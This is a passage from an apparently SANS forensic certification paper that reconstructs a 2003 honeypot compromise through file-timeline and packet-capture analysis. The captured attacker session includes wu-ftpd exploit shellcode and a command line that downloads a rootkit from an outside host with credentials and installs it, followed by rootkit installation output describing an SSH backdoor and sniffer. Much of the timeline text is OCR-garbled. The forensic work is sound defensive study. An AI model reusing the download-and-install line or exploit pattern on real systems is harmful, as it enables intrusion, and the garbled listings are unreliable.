168725 Sat Nov 22 2003 02:47:20	19684 .a/-rw-rr root	root	20152					
/root/lib/modules/2.4.7-10/kerne	l/drivers/net/pcnet32.0							
168726	18 .a. l/lrwxrwxrwx root	root	32164					
/root/etc/sysconfig/network-scripts/ifup ->//sbin/ifup								
168727	124 .a/-rw root	root	36276					

/root/etc/dhcpc/dhcpcd-eth0.cache						
168728	420492	.a.	-/-rwxr-xr-x	root	root	70339
/root/sbin/dhcpcd						
168729	98	.a.	-/-rw-rr	root	root	22094
/root/etc/iproute2/rt_scopes						
168730	111699	.a.	-/-rwxr-xr-x	root	root	70322
/root/sbin/ip						
168731	254	.a.	-/-rw-rr	root	root	22098
/root/etc/sysconfig/networking/ifc	fg-lo		,			
168732 Sat Nov 22 2003 02:47:22	18863	.a.	-/-rwxr-xr-x	root	root	70297
/root/sbin/arping			1			201.02
168/33 Sat NOV 22 2003 02:4/:29	4	mac	-/-rw-rr	root	root	38163
/var/run/ancpca-etnu.pia	104		/	moot	moot	26276
100/34 /root/ota/dhana/dhanad_oth0 asabo	124	. C	=/ =T M=======	1000	TOOL	30270
	315	ma	-/	root	reat	36277
/root/etc/dhcnc/dhcncd-eth0 info	545	C	-/-IW-II	1000	1000	50277
168736	0	ac	-/-rw-rr	root	root	28243
/root/etc/resolv_conf_sv	0	·ac	/ 10 1 1	1000	1000	20245
168737	102	m.c	-/-rw-rr	root.	root	28248
/root/etc/resolv.conf	100		,			

The honeypot is directly connected to the internet for 1 hour and 37 minutes prior to compromise. The first sign of attack is the execution of the FTP daemon, in.ftpd, which is called by the xinetd Linux super-daemon, which is responsible for opening lightweight applications on demand. The attacker uses a wu-ftp exploit, commonly available on the Internet, to compromise the honeypot.

173420 Sat Nov 22 2003 04:24:40	464	.a.	-/-rw	root	root	28231
/root/etc/ftpconversions						
173421	172668	.a.	-/-rwxr-xr-x	bin	bin	127246
/usr/sbin/in.ftpd						
173422	104	.a.	-/-rw	root	root	28233
/root/etc/ftphosts						
173423	1657	.a.	-/-rw	root	root	28230
/root/etc/ftpaccess						
173424	4096	mac	-/-rw-rr	root	root	38182
/var/run/ftp.rips-all						
173425	164	.a.	-/-rw	root	root	28234
/root/etc/ftpusers						
173426	1024	m.c	d/drwxr-xr-x	root	root	38153
/var/run						

Almost immediately after the compromise, the attacker uses an FTP client to access a remote server for retrieval of the rootkit.

173430 Sat Nov 22 2003 04:25:08	1024 m.c d/drw	xr-x root	root	68273
/root/root				
173431	3952 mac -/-rw	root	root	52262
/root/root/.ncftp/firewall				
173432	127996 .a/-rw	xr-xr-x root	root	33186
/usr/bin/ncftpget				

After compromise, the attacker proceeds to create a user account for himself, presumably using his real name, with limited access privileges. We can now confirm that the attacker used the adduser command based on the fact that the /etc/skel initial user configuration template has been applied to the attackers account.

Jason\_B\_Anderson\_GCFA

Page 87 of 111

© SANS Institute 2004,

	1004		1/1		1	74201
	1024	.a.	a/arwxr-xr-x	root	root	/4391
/root/etc/skel/.kde/Autosteart						
173440	4096	mac	d/drwxr-xr-x	daniel	daniel	43969
/home/daniel/.kde/Autostart						
173441	10	.a.	l/lrwxrwxrwx	root	root	12
/var/mail -> spool/mail						
173442	3511	.a.	-/-rw-rr	root	root	52260
/root/etc/skel/.screenrc						
173443	1180	2	-/-rw-rr	root	root	28151
(moot/ota/login dofa	1100	.a.	/ IW I I	1000	1000	20131
/IOOL/ELC/IOgIII.dels	0		/			00065
1/3444	0	mac	-/-rw	root	root	28265
/root/etc/shadow.lock (deleted)						
173445	1381	.ac	-/-rw	root	root	28172
/root/etc/passwd-						
173446	7	.a.	l/lrwxrwxrwx	root	root	125467
/usr/sbin/adduser -> useradd						
173447	1024	.a.	d/drwxr-xr-x	root	root	74390
/root/etc/skel/ kde	1001	• • •	a, ar	1000	1000	/ 1000
172440	E 7 0		/			20245
1/3440	572	. C	-/	LOOL	TOOL	20243
/root/etc/group						
173449	0	mac	-/-rw	root	root	28267
/root/etc/gshadow.lock (deleted)						
173450	470	mac	-/-r	root	root	28257
/root/etc/gshadow						
173451	24	. a .	-/-rw-rr	root	root	52210
(root (ota (akol ( bash logout		• • •	,		2000	02220
172452	0		/	danial	danial	11106
1/3452	0	mac	-/-rw-rw	daniei	daniei	44186
/var/spool/mail/daniel						
173453	124	.a.	-/-rw-rr	root	root	52212
/root/etc/skel/.bashrc						
173454	4096	mac	d/drwxr-xr-x	daniel	daniel	14657
/home/daniel/.kde						
173455	820	.a.	-/-rw-rr	root	root.	52259
/root/etc/skel/ emacs						
/1000/000/bhc1/.cha05				daniel	daniel	13970
173456	1.25	$m \sim \alpha$	-/		uantei	43970
173456	135	mac	-/-rw-rr	danier		
173456 /home/daniel/.kde/Autostart/Autorum	.deskt	mac op	-/-rw-rr	daniei		
173456 /home/daniel/.kde/Autostart/Autorun 173457	135 deskt. 96	mac op .a.	-/-rw-rr	root	root	92370
173456 /home/daniel/.kde/Autostart/Autorun 173457 /root/etc/default/useradd	135 deskt. 96	mac op .a.	-/-rw-rr	root	root	92370
173456 /home/daniel/.kde/Autostart/Autorun 173457 /root/etc/default/useradd 173458	135 deskt 96 191	mac op .a. m.c	-/-rw-rr	root daniel	root daniel	92370 58629
173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash profile	135 .deskt 96 191	mac op .a. m.c	-/-rw-rr -/-rw-rr	root daniel	root daniel	92370 58629
173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459	135 .deskt 96 191	mac op .a. m.c mac	-/-rw-rr -/-rw-rr -/-rw-rr	root daniel root	root daniel root	92370 58629 28266
173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group_lock_(deleted)	135 .deskt 96 191	mac op .a. m.c mac	-/-rw-rr -/-rw-rr -/-rw	root daniel root	root daniel root	92370 58629 28266
173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted)	135 .deskt 96 191 0	mac op .a. m.c mac	-/-rw-rr -/-rw-rr -/-rw	root daniel root	root daniel root	92370 58629 28266
<pre>173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /base (deniel/.bashup</pre>	135 deskt 96 191 0 124	mac op .a. m.c mac m.c	-/-rw-rr -/-rw-rr -/-rw-rr	root daniel root daniel	root daniel root daniel	92370 58629 28266 58630
173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc	135 deskt 96 191 0 124	mac op .a. m.c mac m.c	-/-rw-rr -/-rw-rr -/-rw-rr	root daniel root daniel	root daniel root daniel	92370 58629 28266 58630
173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461	135 deskt 96 191 0 124 941	mac op .a. m.c mac m.c .ac	-/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr	root daniel root daniel root	root daniel root daniel root	92370 58629 28266 58630 28255
<pre>173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow-</pre>	135 deskt 96 191 0 124 941	mac op .a. m.c mac m.c .ac	-/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr	root daniel root daniel root	root daniel root daniel root	92370 58629 28266 58630 28255
173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow- 173462	135 .deskt 96 191 0 124 941 191	mac op .a. m.c m.c m.c .ac .ac	-/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr	root daniel root daniel root root	root daniel root daniel root root	92370 58629 28266 58630 28255 52211
173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow- 173462 /root/etc/skel/.bash profile	135 .deskt 96 191 0 124 941 191	mac op .a. m.c mac m.c .ac .ac	-/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr	root daniel root daniel root root	root daniel root daniel root root	92370 58629 28266 58630 28255 52211
173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow- 173462 /root/etc/skel/.bash_profile 173463	135 .deskt 96 191 0 124 941 191 3511	mac op .a. m.c m.c .ac .ac .a. mac	-/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr	root daniel root daniel root root daniel	root daniel root daniel root root daniel	92370 58629 28266 58630 28255 52211 58631
<pre>173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow- 173462 /root/etc/skel/.bash_profile 173463 /bome/daniel/ screenrc</pre>	135 .deskt 96 191 0 124 941 191 3511	mac op .a. m.c m.c .ac .ac .a. mac	-/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr	root daniel root daniel root root daniel	root daniel root daniel root root daniel	92370 58629 28266 58630 28255 52211 58631
<pre>173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow- 173462 /root/etc/skel/.bash_profile 173463 /home/daniel/.screenrc 173464</pre>	135 .deskt 96 191 0 124 941 191 3511	mac op .a. m.c m.c .ac .ac .a. mac	-/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr	root daniel root daniel root root daniel	root daniel root daniel root root daniel	92370 58629 28266 58630 28255 52211 58631
<pre>173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow- 173462 /root/etc/skel/.bash_profile 173463 /home/daniel/.screenrc 173464 /user/obie/useradd</pre>	135 deskt 96 191 0 124 941 191 3511 52236	mac op .a. m.c m.c .ac .ac .a. mac .a.	-/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rw-rr-	root daniel root daniel root root daniel root	root daniel root daniel root root daniel root	92370 58629 28266 58630 28255 52211 58631 125479
<pre>173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow- 173462 /root/etc/skel/.bash_profile 173463 /home/daniel/.screenrc 173464 /usr/sbin/useradd</pre>	135 deskt 96 191 0 124 941 191 3511 52236	mac op .a. m.c m.c .ac .a. mac .a.	-/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr	root daniel root daniel root daniel root daniel	root daniel root daniel root daniel root daniel	92370 58629 28266 58630 28255 52211 58631 125479
173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow- 173462 /root/etc/skel/.bash_profile 173463 /home/daniel/.screenrc 173464 /usr/sbin/useradd 173465	135 .deskt 96 191 0 124 941 191 3511 52236 24	mac pp .a. m.c m.c .ac .ac .a. mac .a. mac .a.	-/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rwxr-xr-x	root daniel root daniel root daniel root daniel root daniel	root daniel root daniel root daniel root daniel daniel	92370 58629 28266 58630 28255 52211 58631 125479 58628
<pre>173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow- 173462 /root/etc/skel/.bash_profile 173463 /home/daniel/.screenrc 173464 /usr/sbin/useradd 173465 /home/daniel/.bash_logout</pre>	135 .deskt 96 191 0 124 941 191 3511 52236 24	mac pp .a. m.c mac .ac .a. mac .a. mac	-/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rwxr-xr-x	root daniel root daniel root daniel root daniel daniel	root daniel root daniel root daniel root daniel daniel	92370 58629 28266 58630 28255 52211 58631 125479 58628
<pre>173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow- 173462 /root/etc/skel/.bash_profile 173463 /home/daniel/.screenrc 173464 /usr/sbin/useradd 173465 /home/daniel/.bash_logout 173466</pre>	135 .deskt 96 191 0 124 941 191 3511 52236 24 381	mac pp .a. m.c mac .ac .a. .a. mac .a. mac mac	-/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rwxr-xr-x -/-rw-rr-	root daniel root daniel root daniel root daniel daniel daniel	root daniel root daniel root daniel root daniel daniel daniel	92370 58629 28266 58630 28255 52211 58631 125479 58628 43971
<pre>173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/skadow- 173462 /root/etc/skel/.bash_profile 173463 /home/daniel/.screenrc 173464 /usr/sbin/useradd 173465 /home/daniel/.bash_logout 173466 /home/daniel/.kde/Autostart/.direct</pre>	135 deskt 96 191 0 124 941 191 3511 52236 24 381 ory	mac pp .a. m.c mac .ac .a. mac .a. mac mac	-/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rwxr-xr-x -/-rw-rr	root daniel root daniel root daniel root daniel daniel	root daniel root daniel root daniel root daniel daniel	92370 58629 28266 58630 28255 52211 58631 125479 58628 43971
<pre>173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow- 173462 /root/etc/skel/.bash_profile 173463 /home/daniel/.screenrc 173464 /usr/sbin/useradd 173465 /home/daniel/.bash_logout 173466 /home/daniel/.kde/Autostart/.direct 173467</pre>	135 deskt 96 191 0 124 941 191 3511 52236 24 381 ory 1024	mac pp .a. m.c m.c .ac .a. mac .a. mac .a.	-/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rwxr-xr-x -/-rw-rr -/-rw-rr	root daniel root daniel root daniel root daniel daniel root	root daniel root daniel root daniel root daniel daniel root	92370 58629 28266 58630 28255 52211 58631 125479 58628 43971 52209
<pre>173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/skal/.bash_profile 173462 /root/etc/skel/.bash_profile 173463 /home/daniel/.screenrc 173464 /usr/sbin/useradd 173465 /home/daniel/.bash_logout 173466 /home/daniel/.kde/Autostart/.direct 173467 /root/etc/skel</pre>	135 .deskt 96 191 0 124 941 191 3511 52236 24 381 ory 1024	mac pp .a. m.c mac .a. mac .a. mac .a. mac .a.	-/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rwxr-xr-x -/-rw-rr -/-rw-rr d/drwxr-xr-x	root daniel root daniel root daniel root daniel daniel root	root daniel root daniel root daniel root daniel daniel root	92370 58629 28266 58630 28255 52211 58631 125479 58628 43971 52209
<pre>173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow- 173462 /root/etc/skel/.bash_profile 173463 /home/daniel/.screenrc 173464 /usr/sbin/useradd 173465 /home/daniel/.bash_logout 173466 /home/daniel/.kde/Autostart/.direct 173467 /root/etc/skel 173468</pre>	135 .deskt 96 191 0 124 941 191 3511 52236 24 381 ory 1024 381	mac mac pp .a. m.c .ac .a. mac .a. mac .a.	-/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rw-rr -/-rwxr-xr-x -/-rw-rr d/drwxr-xr-x	root daniel root daniel root daniel root daniel daniel root	root daniel root daniel root daniel root daniel daniel root	92370 58629 28266 58630 28255 52211 58631 125479 58628 43971 52209
<pre>173456 /home/daniel/.kde/Autostart/Autorum 173457 /root/etc/default/useradd 173458 /home/daniel/.bash_profile 173459 /root/etc/group.lock (deleted) 173460 /home/daniel/.bashrc 173461 /root/etc/shadow- 173462 /root/etc/skel/.bash_profile 173463 /home/daniel/.screenrc 173464 /usr/sbin/useradd 173465 /home/daniel/.bash_logout 173466 /home/daniel/.kde/Autostart/.direct 173467 /root/etc/skel 173468 /home/daniel/.kde/Autostart/.direct 173467 /root/etc/skel 173468 /root/etc/skel</pre>	135 deskt 96 191 0 124 941 191 3511 52236 24 381 ory 1024 381	mac pp .a. m.c .ac .a. mac .a. mac .a. .a.	-/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rw-rr- -/-rwxr-xr-x -/-rw-rr- d/drwxr-xr-x -/-rw-rr-	root daniel root daniel root daniel root daniel daniel root root	root daniel root daniel root daniel root daniel daniel root root	92370 58629 28266 58630 28255 52211 58631 125479 58628 43971 52209 74392

## The attacker installs therootkit via use of the install command, as seen in the network transaction above.

173489 Sat Nov 22 2003 04:46:53	25020 mac	-/-rwxr-sr-x	root	root	33996
/usr/bin/locate					
173490	7144 .ac	-/-rwxr-xr-x	root	root	16226
/root/etc/nmh//curatare/attrib					
173491	24824 .a.	-/-rwxr-xr-x	root	root	33625
/usr/bin/socklist					
173492	318 mac	-/-rw-rr	root	root	97259

#### Jason\_B\_Anderson\_GCFA

Page 88 of 111

© SANS Institute 2004,

/usr/lib/libc/libph	45040		,			21640
1/3493 /usr/bin/dir	45948	.a.	-/-rwxr-xr-x	root	root	31640
173494	45948	mac	-/-rwxr-xr-x	root	root	97255
/usr/lib/.lib/libvd	21022	2	-/	root	alocato	21724
/usr/bin/locate	24022	.a.	-/-IWXI-SI-X	1000	SIOCALE	51724
173496	1259	.ac	-/-rwxr-xr-x	root	root	16224
/root/etc/nmh//curatare/sshd 173497	63180	.a.	-/-r-xr-xr-x	root	root	26126
/root/tmp/ccPSepro.ld (deleted-real	loc)					
173498	24752	.a.	-/-rwxr-xr-x	root	root	127714
173499	15	m.c	-/-rw-rr	root	root	97262
/usr/lib/libc/libif			. / .			
/root/etc/nmh	1024	m.c	d/drwxr-xr-x	root	root	48352
173501	84568	c	-/-rwxr-xr-x	root	root	16223
/root/etc/nmh//curatare/ps	1024	ac	d/drwyr-yr-y	root	root	16222
/root/etc/nmh//curatare	1024	·uc	u/urwar ar a	1000	1000	10222
173503	32768	m	d/drwxr-xr-x	root	root	31297
/usr/bin 173504	24822	.a.	-/-rwxr-xr-x	root	root	31690
/usr/bin/pstree						
173505 /usr/bin/ton	34924	.a.	-/-r-xr-xr-x	root	root	31682
173506	49	mac	-/-rw-rr-	root	root	97260
/usr/lib/.lib/libnh	14024		/	meet	maat	22007
/usr/bin/strings	14924	mac	-/-IWXI-XI-X	IOOL	1000	22991
173508	1084	.ac	-/-rwxr-xr-x	root	root	16225
/root/etc/nmh//curatare/clean 173509	63180	.a.	-/-r-xr-xr-x	root	root	26126
/root/bin/ps						
173510 /usr/lib/libc/libp	63180	mac	-/-r-xr-xr-x	root	root	97250
173511	4096	mac	d/drwxr-xr-x	root	root	97247
/usr/lib/libc	51164	mc	-/-rwyr-yr-y	root	root	97257
/usr/lib/libc/libifc	51104		/ IWAI AI A	1000	1000	51251
173513	12284	mac	-/-rwxr-xr-x	root	root	97253
173514	511	mac	-/-rw-rr	root	root	97263
/usr/lib/libc/libah	10.00			1		66210
/root/etc/nmh//read	4060	m.c	-/-rwxr-xr-x	root	root	66312
173516	82812	mac	-/-rwxr-xr-x	root	root	97256
/usr/lib/libc/liblsf	3229	mac	-/-rwxr-xr-x	root	root	97258
/usr/lib/libc/libso	0220	mao	,	2000	2000	5,200
173518 (root/etc/nmb/ /curatare/chattr	7144	.ac	-/-rwxr-xr-x	root	root	16227
173519	24824	.a.	-/-rwxr-xr-x	root	root	26121
/root/sbin/ifconfig	02122	m - a	-/	root	root	07252
/usr/lib/.lib/libne	03132	Illac	-/-IWXI-XI-X	1000	1000	91232
173521	24755	.a.	-/-rwxr-xr-x	root	root	33730
/usr/bin/strings 173522	17960	m.c	-/-rwxr-xr-x	root.	root.	66311
/root/etc/nmh//write						
1/3523 /usr/lib/.lib/libfb	144	mac	-/-rw-rr	root	root	97261
173524	34924	mac	-/-r-xr-xr-x	root	root	97254
/usr/lib/.lib/libdu	24752	2	-/-rwyr-yr-y	root	root	127714
/usr/sbin/lsof	27/32	.a.	/ IWAI-AI-X	1000	1000	10//17
173526 (var /bin /vdin	45948	.a.	-/-rwxr-xr-x	root	root	31646
173527	53910	.ac	-/-rwxr-xr-x	root	root	16228
/root/etc/nmh//curatare/pstree	450.00					07040
Δ722X	45948	mac	-/-rwxr-xr-x	1.001	1001	9/249

#### Jason\_B\_Anderson\_GCFA

Page 89 of 111 Author retains full rights.

© SANS Institute 2004,

/usr/lib/.lib/libdi				
173529	4096 mac d/drwxr-xr-x root	root	97248	
/usr/lib/.lib				
173530	34924 mac -/-r-xr-xr-x root	root	97251	
/usr/lib/libc/libto				

As noticed above via investigation of the /var/log/maillog log file, the attacker attempts to mail data from system to the <u>danni3ll@yahoo.com.au</u> e-mail account. This activity seems to be part of the rootkit installation file. However, because the honeypot was not configured correctly to send mail, the mail never deleted the file in /var/spool/mqueue. sendmail does this by default in an effort to send it at a later time.

174184 Sat Nov 22 2003 10:49:40	147 .a/-rw-rr	root	root	28250
/root/etc/hosts				
174185	0 m.c d/-rw	root	root	32134
/var/ftp/T (deleted)				
174186	651 mac -/-rw	root	root	32136
/var/spool/mqueue/tfhAMB17e02150	(deleted-realloc)			
174187	1024 m.c d/drwxr-xr-x	root	mail	32131
/var/spool/mqueue				
174188	0 m.c -/-rw	root	root	32134
/var/spool/mqueue/xfhAMB17e02150	(deleted)			
174189	651 mac -/-rw	root	root	32136
/var/spool/mqueue/qfhAMB17e02150				

The logs below represent the end of the timeline immediately prior to honeypot poweroff.

174276 Sat Nov 22 2003 11:01:01	1024	.a.	d/drwxr-xr-x	root	root	8036
/root/etc/cron.hourly						
174277	59286	.a.	-/-rw-rr	root	root	28249
/root/etc/ld.so.cache						
174278	485171	.a.	-/-rwxr-xr-x	root	root	60242
/root/lib/ld-2.2.4.so						
174279	11	.a.	l/lrwxrwxrwx	root	root	60243
/root/lib/ld-linux.so.2 -> ld-2.2	.4.so					
174280	60258	m.c	-/-rw	root	root	12082
/var/log/cron						
174281	14	.a.	l/lrwxrwxrwx	root	root	60256
<pre>/root/lib/libdl.so.2 -&gt; libdl-2.2</pre>	.4.so					
174282	13	.a.	l/lrwxrwxrwx	root	root	72291
/root/lib/i686/libc.so.6 -> libc-	2.2.4.so					
174283	227	.a.	-/-rw-rr	root	root	28263
/root/etc/mtab						
174284	572	.a.	-/-rw-rr	root	root	28245
/root/etc/group						
174285	11832	.a.	-/-rwxr-xr-x	root	root	60314
/root/lib/libtermcap.so.2.0.8						
174286	65997	.a.	-/-rwxr-xr-x	root	root	60255
/root/lib/libdl-2.2.4.so						
174287	749	.a.	-/-rwxr-xr-x	root	root	31588
/usr/bin/run-parts						
174288	19	.a.	l/lrwxrwxrwx	root	root	60315
<pre>/root/lib/libtermcap.so.2 -&gt; libt</pre>	ermcap.so	.2.0	0.8			
174289	5772268	.a.	-/-rwxr-xr-x	root	root	72290
/root/lib/i686/libc-2.2.4.so						

#### Network Capture Based Timeline Analysis

We can utilize the raw packet dumps to reconstruct the transaction that took place between the attacker and the honeypot upon compromise and rootkit installation. Reconstruction of the TCP stream is performed by loading the raw packet captures from the tcpdump processes monitoring the bridge on the bridging firewall in the ethereal<sup>5</sup> application. The log below represents both what the attacker sent and received from the honeypot upon compromise.

```
220 ipx-y-z-144.ph.ph.cox.net FTP server (Version wu-2.6.1-18) ready.
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS mozilla@
230 Guest login ok, access restrictions apply.
RNFR ././
350 File exists, ready for destination name
RNFR ././
350 File exists, ready for destination name
PWD
257 "/" is current directory.
                                                          1ÛC.
tQ
    _P‰áj_X‰ÂÍ€ë_1Û÷ãþÊYj_XÍ€ë_èíÿÿÿÿÿÿ
tQ
     P‰áj_X‰ÂÍ€ë_1Û÷ãþÊYj_XÍ€ë_èíÿÿÿ: File name too long.
CWD ~/{.,.,.}
250 CWD command successful.
CWD .
250 CWD command successful.
RNFR ./././././././.
350 File exists, ready for destination name
CWD 735073
550 735073: No such file or directory.
CWD 73507
550 73507: No such file or directory.
CWD 7350é
550 7350é: No such file or directory.
RNFR .
350 File exists, ready for destination name
RNFR ./././././././.
350 File exists, ready for destination name
CWD ~{
sP
3Û÷ã°F3ÉÍ€jT<ܰ'±ÍÍ€°=Í€R± hÿ../Dâø<ܰ=Í€XjTj(XÍ€j
X™Rhn/shh//bi‰āRS‰áÍ€ncftpget -u xlogicus -p dupa16ani 206.253.222.88 . 'xlogic.tgz';tar
zxvf xlogic.tgz;cd xl;./install;
W
4:45am up 1:58, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCL
                                  LOGIN@ IDLE JCPU PCPU WHAT
/usr/sbin/adduser daniel
passwd daniel
а
а
Changing password for user daniel
passwd: all authentication tokens updated successfully
cd /tmp
./setup
_[1;32m
                                                               #####
                                                              #######
                                                              ##0#0##
 #####
                                                              #VVVVV#
```

Jason\_B\_Anderson\_GCFA

Page 91 of 111 Author retains full rights.

© SANS Institute 2004,

## VVV ## ## ## ### #### ### ### ##### ###### ## # ## ## ## \*# ### ## ### ## # ## ## ## ## ## ## ### # ### ## ## ## ## ### ##Q ## QQ# ## ## ## ## ## ## ## 000000# #QQQQQQ ## ## ### ### ## ## ## 0000000# #000000 ### QQQQQ#######QQQQQ #### #### ### ##### ###### POWERED T. T. N. U. X ΒY [0m \_[0;32mStarting Rootkit Instalation .... [Om [1;31mMakeing Home Directory And Copying Programs ... [Om [0;32msniffer ... [Om \_[0;32mcuratare ...\_[Om \_[1;31mDone With Directorys & Programs ... [Om \_[1;31mRemoveing Original Files ... [Om [1;31mAnd Replaceing With Ours ... [Om \_[1;31mCopying SSH Files ...\_[Om [0;32msshd config ... [Om [0;32mssh\_host\_key ... [0m [0;32mssh\_random\_seed ... [0m \_[0;32msshd ...\_[0m [1;31mDone With SSH Files ... [Om \_[1;31mCreating Startup Files ...\_[Om [1;31mStarting SSHD Backdoor & Sniffer ... [Om \_[1;31mDone ...\_[Om \_[1;31mGathering System Info & Sending Mail...\_[Om [1;31mDone ... [0m [1;31mRemoveing Our Tracks ... [Om \_[1;32m[D] [O] [N] [E] ...\_[Om [1;32m ipx-y-z-144.ph.ph.cox.net inet addr:x.y.z.144 Bcast:x.y.47.255 Mask:255.255.240.0 inet addr:127.0.0.1 Mask:255.0.0.0 \_[Om

We can use the whois command to get information about the system by which the attacker stored his rootkit. By having logged in with a username and passwd, it is probably reasonable to assume that the attacker has compromised a system within the jurisdiction of the United States, as can be seen below

```
[root@GCFA string] # whois 206.253.222.88
[Querying whois.arin.net]
[whois.arin.net]
OrgName:
            Internap Network Services
OrgID:
            PNAP
Address:
            250 Williams Street
Address:
            Suite E100
            Atlanta
City:
StateProv: GA
PostalCode: 30303
Country:
           US
            206.253.192.0 - 206.253.223.255
NetRange:
            206.253.192.0/19
CIDR:
```

NetName:	INTERNAP-SEA
NetHandle:	NET-206-253-192-0-1
Parent:	NET-206-0-0-0
NetType:	Direct Allocation
NameServer:	NS1.PNAP.NET
NameServer:	NS2.PNAP.NET
Comment:	ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE
RegDate:	1996-07-18
Updated:	2002-06-17
TechHandle:	INO3-ARIN
TechName:	InterNap Network Operations Center
TechPhone:	+1-206-256-9500
TechEmail:	noc@internap.com
OrgAbuseHan	dle: IAC3-ARIN
OrgAbuseNam	e: Internap Abuse Contact
OrgAbusePho	ne: +1-206-256-9500
OrgAbuseEma	il: abuse@internap.com
OrgTechHand OrgTechName OrgTechPhon OrgTechEmai	<pre>le: INO3-ARIN : InterNap Network Operations Center e: +1-206-256-9500 l: noc@internap.com</pre>
<pre># ARIN WHOI # Enter ? f</pre>	S database, last updated 2004-01-29 19:15 or additional hints on searching ARIN's WHOIS database.

